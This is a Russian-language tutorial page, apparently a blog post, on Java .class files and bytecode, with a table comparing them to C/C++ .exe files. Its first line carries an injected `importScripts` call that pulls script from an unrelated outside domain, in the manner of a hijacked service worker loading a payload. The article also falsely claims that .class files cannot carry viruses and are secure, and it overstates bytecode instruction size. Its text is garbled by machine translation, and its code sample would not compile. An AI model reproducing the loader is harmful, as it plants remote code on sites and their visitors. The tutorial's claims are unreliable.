google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Что такое файл .class и байт-код в Java?



Это руководство поможет вам узнать, что такое файл .class и байт-код на языке Java. Вы можете прочитать предыдущий учебник о том, как написать, скомпилировать и запустить свою первую программу на Java?

Что такое файл .class и байт-код

  • Когда исходный файл Java компилируется компилятором Java, он преобразуется в файл класса Java с расширением .class.
  • Файл класса Java содержит байт-код Java (высоко оптимизированный набор инструкций), который выполняется виртуальной машиной Java (JVM) .
  • Файл .class содержит символы, и каждая инструкция байт-кода сохраняется точно в один байт.
  • Файл .class каждого класса хранится отдельно. Его имя совпадает с именем класса в исходном файле. Программа на Java может иметь любое количество классов. Если программа ниже скомпилирована, то будут созданы два файла .class с именами A.class и B.class.
class A 
{ public static void main (String… s) { System.out.println («A»); } } class B { public static void main (String… s) { System.out.println («B»); } }








  • Файл .class может быть выполнен в любой операционной системе; нам просто нужна JVM этой операционной системы. Это делает Java-машину независимой.

Разница между файлом .class в Java и файлом .exe в C / C ++

.учебный класс
.EXE
Он содержит инструкции байт-кода для виртуальной машины Java (JVM).
Он содержит инструкции машинного кода для операционной системы.
Независимая платформа.
Зависимость от платформы
Это может быть преобразовано в исходный код.
Он не может быть преобразован в исходный код.
Файл .class не может быть запущен напрямую, поэтому вирусы не могут быть прикреплены 
к нему и, следовательно, защищены.
Файл .exe может быть запущен напрямую, поэтому к 
нему могут быть прикреплены вирусы, что делает его небезопасным.

Комментариев нет:

Отправить комментарий